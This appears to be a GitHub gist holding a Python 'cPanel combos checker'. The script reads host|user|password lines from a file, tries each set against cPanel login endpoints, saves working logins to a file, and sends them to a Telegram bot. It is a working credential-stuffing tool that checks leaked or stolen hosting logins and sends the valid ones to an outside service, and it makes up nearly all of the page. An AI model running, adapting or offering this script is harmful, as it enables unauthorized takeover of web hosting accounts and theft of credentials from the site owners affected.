Skip to content

Instantly share code, notes, and snippets.

@tas33n
Last active September 12, 2023 18:17
Show Gist options
  • Save tas33n/7e97404c5c9dfb8b4b257ae4b7398563 to your computer and use it in GitHub Desktop.
Save tas33n/7e97404c5c9dfb8b4b257ae4b7398563 to your computer and use it in GitHub Desktop.
Python Script for CPanel combos data checker. Put the data in same directory as Data.txt, replace bot token in Code.
import os
import requests
from flask import Flask, jsonify
from urllib.parse import urlparse
from colorama import Fore, Style # Import colorama for colored text
app = Flask(__name__)
# Function to read URLs from a file and create a new file with remaining URLs
def read_and_remove_urls_from_file(file_path, current_url_index):
try:
checking_url = None
with open(file_path, 'r', encoding='utf-8') as file:
urls_data = file.read().splitlines()
if current_url_index < len(urls_data):
checking_url = urls_data[current_url_index]
urls_data.pop(current_url_index)
with open(file_path, 'w', encoding='utf-8') as file:
file.write('\n'.join(urls_data))
return checking_url
except Exception as e:
print(
f"{Fore.RED}Error reading or writing file: {str(e)}{Style.RESET_ALL}")
raise
# Function to parse and process URLs
def process_urls(urls_data):
for url_data in urls_data:
parts = url_data.split('|')
if len(parts) != 3:
print(f"{Fore.RED}Invalid format for line: {url_data}{Style.RESET_ALL}")
continue # Skip this line and continue processing the next one
url_str, username, password = parts
# Use urlparse to parse the URL string
parsed_url = urlparse(url_str)
host_url = f"{parsed_url.scheme}://{parsed_url.netloc}/"
login_url = f"{host_url}login/?login_only=1"
post_data = {'user': username, 'pass': password, 'goto_uri': '/'}
try:
response = requests.post(login_url, data=post_data, timeout=30)
response_data = response.json()
if response.status_code == 200 and response_data.get("status") == 1:
with open('success.txt', 'a') as success_file:
success_file.write(
f"{Fore.GREEN}Host: {host_url}, Username: {username}, Password: {password}{Style.RESET_ALL}\n"
)
try:
response2 = requests.post(
url=
'https://api.telegram.org/bot/sendMessage',
data={
'chat_id':
123456,
'text':
f'Success: Host: {host_url}, Username: {username}, Password: {password}'
}).json()
if response2.get('ok'):
print(f"Telegram message sent successfully.")
else:
print(f"Failed to send Telegram message. Response: {response2}")
except Exception as e:
print(
f"{Fore.RED}Error sending Telegram message: {str(e)}{Style.RESET_ALL}"
)
response_data = response.json()
print(f"Response for {url_str}: {response_data}")
except Exception as e:
print(f"{Fore.RED}Error for {url_str}: {str(e)}{Style.RESET_ALL}")
@app.route('/uptime')
def get_uptime():
return jsonify(message='Server is up')
# Start the Flask server
if __name__ == '__main__':
current_url_index = 0
while True:
checking_url = read_and_remove_urls_from_file('data.txt',
current_url_index)
if not checking_url:
break
process_urls([checking_url])
current_url_index += 1
app.run(host='0.0.0.0', port=3000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment